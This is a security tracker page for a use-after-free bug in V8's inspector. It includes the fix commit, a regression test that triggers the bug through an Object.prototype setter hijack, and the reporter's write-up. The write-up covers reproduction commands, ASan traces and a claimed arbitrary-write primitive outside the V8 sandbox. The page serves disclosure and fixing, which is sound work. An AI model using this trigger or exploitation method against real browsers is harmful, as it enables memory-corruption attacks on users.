Overview

High
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactUse after free in V8
DescriptionUse after free in V8
ComponentV8
Bug ClassUAF
Tracker517981277
Fix commit3c3aab471d2b (v8/v8) +50/-5
CISA KEVNot listed
Creditedywatanabee
Disclosed2026-06-30

Files Changed

  • src/inspector/v8-inspector-impl.cc
  • test/inspector/runtime/regress-517981277-expected.txt
  • test/inspector/runtime/regress-517981277.js
From 3c3aab471d2b291626328169e988e4846127e751 Mon Sep 17 00:00:00 2001
From: Yulun Zeng <yulunz@chromium.org>
Date: Thu, 04 Jun 2026 22:35:27 +0000
Subject: [PATCH] Handle context destruction when adding binding within V8InspectorImpl::contextCreated.

CDP specifies that the bindings must persist across reloads, and thus in
V8InspectorImpl::contextCreated(), bindings are added again when new
contexts are created. The issue arises when context is destroyed when
adding binding (as the regress test shows), but the context is still
being processed down the code path.

This change skips operations on the context if it has been destroyed
during adding binding.

There is the same check before addBindings() because operations on the
context have to skipped too when it loops to other inspector sessions.

Also, `contextRef` is a `std::shared_ptr` to keep it alive when looping
through inspector sessions. This allows getting the context ID on the
object for other addBinding() calls within addBindings().

Bug: 517981277
Change-Id: Ic1ee273c316040acc611f6c53349b734076f7f14
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7904365
Reviewed-by: Simon Zünd <szuend@chromium.org>
Reviewed-by: Philip Pfaffe <pfaffe@chromium.org>
Commit-Queue: Yulun Zeng <yulunz@chromium.org>
Cr-Commit-Position: refs/heads/main@{#107830}
---

diff --git a/src/inspector/v8-inspector-impl.cc b/src/inspector/v8-inspector-impl.cc
index d4ff6dc..ade7809 100644
--- a/src/inspector/v8-inspector-impl.cc
+++ b/src/inspector/v8-inspector-impl.cc
@@ -308,11 +308,15 @@
 
   DCHECK(contextById->find(contextId) == contextById->cend());
   (*contextById)[contextId].reset(context);
-  forEachSession(
-      info.contextGroupId, [&context](V8InspectorSessionImpl* session) {
-        session->runtimeAgent()->addBindings(context);
-        session->runtimeAgent()->reportExecutionContextCreated(context);
-      });
+  int contextGroupId = info.contextGroupId;
+  std::shared_ptr<InspectedContext> contextRef = (*contextById)[contextId];
+  forEachSession(contextGroupId, [this, contextGroupId, contextId,
+                                  contextRef](V8InspectorSessionImpl* session) {
+    if (!getContext(contextGroupId, contextId)) return;
+    session->runtimeAgent()->addBindings(contextRef.get());
+    if (!getContext(contextGroupId, contextId)) return;
+    session->runtimeAgent()->reportExecutionContextCreated(contextRef.get());
+  });
 }
 
 void V8InspectorImpl::contextDestroyed(v8::Local<v8::Context> context) {
diff --git a/test/inspector/runtime/regress-517981277-expected.txt b/test/inspector/runtime/regress-517981277-expected.txt
new file mode 100644
index 0000000..d3928e7
--- /dev/null
+++ b/test/inspector/runtime/regress-517981277-expected.txt
@@ -0,0 +1,3 @@
+Test that destroying context during addBinding does not cause UAF (regress-517981277).
+Triggering evaluate with prototype hijack and context creation...
+Finished evaluate call.
diff --git a/test/inspector/runtime/regress-517981277.js b/test/inspector/runtime/regress-517981277.js
new file mode 100644
index 0000000..a384384
--- /dev/null
+++ b/test/inspector/runtime/regress-517981277.js
@@ -0,0 +1,38 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+InspectorTest.log('Test that destroying context during addBinding does not cause UAF (regress-517981277).');
+
+(async function test() {
+  const contextGroup = new InspectorTest.ContextGroup();
+  const session = contextGroup.connect();
+
+  session.Protocol.Runtime.enable();
+
+  // Register binding 'x'
+  await session.Protocol.Runtime.addBinding({name: 'x'});
+
+  // Register second binding 'y' to test handling addBinding() again when the
+  // the previous addBinding() has already destroyed the context.
+  await session.Protocol.Runtime.addBinding({name: 'y'});
+
+  InspectorTest.log('Triggering evaluate with prototype hijack and context creation...');
+  await session.Protocol.Runtime.evaluate({
+    expression: `
+      delete globalThis.x;
+      Object.defineProperty(Object.prototype, 'x', {
+        configurable: true,
+        set: function(v) {
+          // Synchronously destroy the just-registered InspectedContext.
+          inspector.fireContextDestroyed();
+        }
+      });
+      // === TRIGGER ===
+      inspector.fireContextCreated();
+    `,
+  });
+
+  InspectorTest.log('Finished evaluate call.');
+  InspectorTest.completeTest();
+})();
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/test/inspector/runtime/regress-517981277-expected.txt b/test/inspector/runtime/regress-517981277-expected.txt
new file mode 100644
index 0000000..d3928e7
--- /dev/null
+++ b/test/inspector/runtime/regress-517981277-expected.txt
@@ -0,0 +1,3 @@
+Test that destroying context during addBinding does not cause UAF (regress-517981277).
+Triggering evaluate with prototype hijack and context creation...
+Finished evaluate call.
diff --git a/test/inspector/runtime/regress-517981277.js b/test/inspector/runtime/regress-517981277.js
new file mode 100644
index 0000000..a384384
--- /dev/null
+++ b/test/inspector/runtime/regress-517981277.js
@@ -0,0 +1,38 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+InspectorTest.log('Test that destroying context during addBinding does not cause UAF (regress-517981277).');
+
+(async function test() {
+  const contextGroup = new InspectorTest.ContextGroup();
+  const session = contextGroup.connect();
+
+  session.Protocol.Runtime.enable();
+
+  // Register binding 'x'
+  await session.Protocol.Runtime.addBinding({name: 'x'});
+
+  // Register second binding 'y' to test handling addBinding() again when the
+  // the previous addBinding() has already destroyed the context.
+  await session.Protocol.Runtime.addBinding({name: 'y'});
+
+  InspectorTest.log('Triggering evaluate with prototype hijack and context creation...');
+  await session.Protocol.Runtime.evaluate({
+    expression: `
+      delete globalThis.x;
+      Object.defineProperty(Object.prototype, 'x', {
+        configurable: true,
+        set: function(v) {
+          // Synchronously destroy the just-registered InspectedContext.
+          inspector.fireContextDestroyed();
+        }
+      });
+      // === TRIGGER ===
+      inspector.fireContextCreated();
+    `,
+  });
+
+  InspectorTest.log('Finished evaluate call.');
+  InspectorTest.completeTest();
+})();
Loading diff…

Original Bug Report

reported by yu...@gmail.com

Use-After-Free in V8 Inspector InspectedContext yields Arbitrary Write Outside V8 Sandbox Cage

Steps to reproduce the problem

Environment

  • V8 source: 15.0.0 (Chromium-tracked)
  • Tested commit: 6ac60d22f45 (HEAD as of 2026-05-30)
  • Platform: Linux x86_64

Required builds

Build A (ASan + sandbox + memory-corruption-api): out_asan/inspector-test

args.gn:

is_debug = false
dcheck_always_on = true
v8_enable_sandbox = true
v8_enable_memory_corruption_api = true
v8_enable_test_features = true
v8_enable_verify_heap = true
is_asan = true
target_cpu = "x64"

Build B (Non-ASan, sandbox + memory-corruption-api): out_sandbox/inspector-test

Same args.gn but is_asan = false.

Build commands:

gn gen out_asan
gn gen out_sandbox
autoninja -C out_asan inspector-test
autoninja -C out_sandbox inspector-test

Attached PoCs

  • poc-asan.js (ASan UAF reproduction)
  • poc-sandbox-violation.js (sandbox bypass with WRITE classification)

Step 1: ASan UAF reproduction

Command (from V8 source root):

ASAN_OPTIONS='abort_on_error=0:halt_on_error=1:detect_leaks=0' \
  ./out_asan/inspector-test \
  test/inspector/protocol-test.js \
  poc-asan.js

Expected stderr (key sections):

==XXXXX==ERROR: AddressSanitizer: heap-use-after-free
  on address 0xXXXX...
READ of size 8 at 0xXXXX thread T7 (Task Runner)
  #0 in std::__Cr::__hash_table<int, ...>::__emplace_unique<...>
     lambda at __hash_table:531:67
  #1 in v8_inspector::InspectedContext::setReported
     try_key_extraction.h:44:10
  #2 in v8_inspector::V8RuntimeAgentImpl::reportExecutionContextCreated
     src/inspector/v8-runtime-agent-impl.cc:1190:12
  #3 in v8_inspector::V8InspectorImpl::forEachSession
  #4 in v8_inspector::V8InspectorImpl::contextCreated
     src/inspector/v8-inspector-impl.cc:308:3
  ...

0xXXXX is located 144 bytes inside of 232-byte region [0xXXXX, 0xXXXX)
freed by thread T7:
  #0 operator delete(void*, unsigned long)
  #1 V8InspectorImpl::contextCollected
  ...
previously allocated by thread T7:
  #0 operator new(unsigned long)
  #1 V8InspectorImpl::contextCreated
     src/inspector/v8-inspector-impl.cc:288
  ...

Verification: ASan reports heap-use-after-free on a 232-byte region; the freed object is the InspectedContext allocated at v8-inspector-impl.cc:288; the read is at offset +144 reached from setReportedreportExecutionContextCreated.

Step 2: WRITE-classification sandbox violation

Command:

UBSAN_OPTIONS='print_stacktrace=0:halt_on_error=0:abort_on_error=0:handle_segv=0:handle_sigbus=0:handle_sigill=0' \
  setarch -R \
  ./out_sandbox/inspector-test \
  --sandbox-testing \
  test/inspector/protocol-test.js \
  poc-sandbox-violation.js

Flag notes:

  • setarch -R disables ASLR so the target binary loads at the fixed PIE base 0x555555554000+. A small r–p mapping at file offset 0x07f03000 (memory 0x55555d45a000-0x55555d45b000) whose first 16 bytes are zero is used as the WRITE target.
  • --sandbox-testing enables the V8 sandbox crash filter (src/sandbox/testing.cc).
  • UBSAN_OPTIONS handle_segv=0 prevents UBSan’s signal handler from preempting the sandbox crash filter so the filter can classify the access type.

Expected stderr:

Sandbox testing mode is enabled. Only sandbox violations will be
  reported, all other crashes will be ignored.
Sandbox bounds: [0xXXXXXXXXXXXX, 0xXXXXXXXXXXXX)
...

## V8 sandbox violation detected!

(Process exits with signal 11 / SIGSEGV)

Verification: The crash filter prints ## V8 sandbox violation detected! with NO “read access” caveat following. Per src/sandbox/testing.cc:1209-1213, that caveat is added only for read access; its absence confirms WRITE access classification via the SIGSEGV error code’s kWriteAccessBit checked at testing.cc:898-907 GetAccessType. This satisfies docs/security/triaging.md’s requirement: “A successful bypass must show write access outside of the sandbox.”

Step 3: Determinism check

Command (bash):

for i in 1 2 3 4 5; do
  echo "--- Attempt $i ---"
  UBSAN_OPTIONS='print_stacktrace=0:halt_on_error=0:abort_on_error=0:handle_segv=0:handle_sigbus=0:handle_sigill=0' \
    timeout 15 setarch -R \
    ./out_sandbox/inspector-test --sandbox-testing \
    test/inspector/protocol-test.js \
    poc-sandbox-violation.js 2>&1 \
    | grep -A2 "V8 sandbox" | head -5
done

Problem Description

Summary

Use-after-free on InspectedContext (sizeof=232) allocated on the libc C++ heap OUTSIDE the V8 sandbox cage. The freed object is dereferenced inside the contextCreated lambda’s call to reportExecutionContextCreated. The attached PoCs demonstrate the bug and show that successful exploitation yields an Arbitrary Address Write (AAW) primitive outside the V8 sandbox cage.

Affected code

  • src/inspector/v8-inspector-impl.cc:308-312 (contextCreated lambda)
  • src/inspector/v8-runtime-agent-impl.cc:1187-1207 (reportExecutionContextCreated)
  • src/inspector/inspected-context.cc:128-134 (setReported)

Attacker model

web-content. Reachable from:

  1. Any user-attached DevTools session sending Runtime.addBinding + Runtime.evaluate.
  2. Any Chrome extension with the debugger permission via chrome.debugger.attach() + Runtime.addBinding({name:"x"}) + Runtime.evaluate().

No pre-existing memory primitive is assumed.

Fix-sibling

Commit 5a7de4a07b0128358a40117a51c5bfacf7f76c99 (“Fix Use-After-Free in Runtime.addBinding()”) added an internal re-validation inside addBinding after global->Set(), but did NOT protect the immediate-next call site reportExecutionContextCreated inside the contextCreated lambda. This is the classic fix-sibling pattern: the leaf function is patched but the caller scope still ferries the dangling pointer.

Root cause

v8-inspector-impl.cc:308-312:

forEachSession(info.contextGroupId,
    [&context](V8InspectorSessionImpl* s) {
      s->runtimeAgent()->addBindings(context);
      s->runtimeAgent()->reportExecutionContextCreated(context);
    });

The lambda captures raw InspectedContext* context and uses it twice:

  1. addBindings(ctx) ultimately calls addBinding(ctx, name) which performs global->Set(localContext, v8Name, fn) at line 996. This is JS-reentrant: a setter installed on Object.prototype[name] fires here.
  2. reportExecutionContextCreated(ctx) immediately after.

Inside the Set() trap, attacker JS calls inspector.fireContextDestroyed() (mimics the production frame-detach path). This drives:

V8Inspector::contextDestroyed
  -> V8InspectorImpl::contextCollected
  -> discardInspectedContext

which erases the only shared_ptr<InspectedContext> from m_contexts. The local shared_ptr in contextCollected goes out of scope at function exit; ~InspectedContext runs inline, freeing the 232-byte slot via operator delete (libc malloc allocator — this is OUTSIDE the V8 sandbox cage).

Control returns to addBindings. The 5a7de4a07b0 inner-fix check at line 1001 returns early. addBindings’s loop exits cleanly. Then the OUTER LAMBDA continues to reportExecutionContextCreated(freed_ctx) — UAF.

Impact

The attached PoCs achieve the following:

  1. ASan-confirmed heap-use-after-free read on the freed InspectedContext (see poc-asan.log).

  2. Under --sandbox-testing, the V8 sandbox crash filter reports ## V8 sandbox violation detected! classified as WRITE access (no “read access” caveat). This empirically demonstrates an Arbitrary Address Write (AAW) primitive: attacker-controlled bytes sprayed into the freed slot dictate the target address of a WRITE instruction executed at a canonical address outside the V8 sandbox cage. See poc-sandbox-violation.log.

Evidence

Two attached PoCs:

(1) poc-asan.js + poc-asan.log — reproduces the UAF under AddressSanitizer.

Signature: heap-use-after-free READ of size 8 at +144 bytes of freed InspectedContext inside libc++ __hash_table, called from InspectedContext::setReported reached via V8RuntimeAgentImpl::reportExecutionContextCreated at v8-runtime-agent-impl.cc:1190. The free site is V8InspectorImpl::contextCollected; the allocation site is V8InspectorImpl::contextCreated at v8-inspector-impl.cc:288.

(2) poc-sandbox-violation.js + poc-sandbox-violation.log — demonstrates the AAW primitive under --sandbox-testing.

Output: ## V8 sandbox violation detected! with NO “read access” caveat. The absence of that caveat (added at src/sandbox/testing.cc:1209-1213 only for read access) confirms WRITE access classification via the SIGSEGV error code’s kWriteAccessBit (testing.cc:898-907 GetAccessType).

ASLR / production notes

The sandbox-violation PoC uses setarch -R to fix the target address at a known mapped read-only location so the WRITE classification is deterministically observable. The AAW primitive itself (attacker-controlled write target via heap spray) is independent of ASLR; production attacks would defeat ASLR through standard exploitation techniques.

Summary

Use-After-Free in V8 Inspector InspectedContext yields Arbitrary Write Outside V8 Sandbox Cage

Custom Questions

Type of crash:

tab

Reporter credit:

ywatanabee

Additional Data

Category: Security
Chrome Channel: Not sure
Regression: N/A \

View on issue tracker